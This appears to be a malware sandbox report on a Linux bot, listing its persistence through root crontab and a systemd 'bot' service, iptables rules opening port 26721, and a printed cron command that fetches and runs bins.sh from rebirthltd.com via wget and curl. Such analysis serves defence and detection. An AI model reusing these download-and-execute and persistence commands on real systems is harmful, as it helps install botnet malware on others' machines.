Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
- 408dbcn6igovp6ctrq8mqbs7
Manages services:
- ['/bin/systemctl', 'enable', 'bot']
Launches processes:
- (crontab -l ; echo \x22@reboot /bin/bash -c \x22/bin/wget http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh\x22\x22) | crontab -
- /usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- /bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- /bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- sh bins.sh
- crontab -
- busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- /usr/sbin/xtables-nft-multi iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- crontab -l
- chmod +x bins.sh
- iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- /bin/curl -k -L --output bins.sh http://rebirthltd.com/bins.sh
- /bin/systemctl enable bot
Performs operations with the file system:
Modifies file access rights:
- /var/spool/cron/crontabs/tmp.oOkCoV
Creates or modifies files:
- /dev/full
- /var/spool/cron/crontabs/tmp.oOkCoV
- /etc/init/bot.conf
- /root/.bashrc
- /usr/lib/systemd/system/bot.service
Changes time of creation/access/modification of files:
- /var/spool/cron/crontabs
Network activity:
Awaits incoming connections on ports:
- 127.0.0.1:8345
- 0.0.0.0:26721
Establishes connection:
- 8.#.8.8:53
- 13#.#95.4.2:53
- 0.0.0.0:0
- 19#.##.195.195:53
DNS ASK:
- re###thltd.com
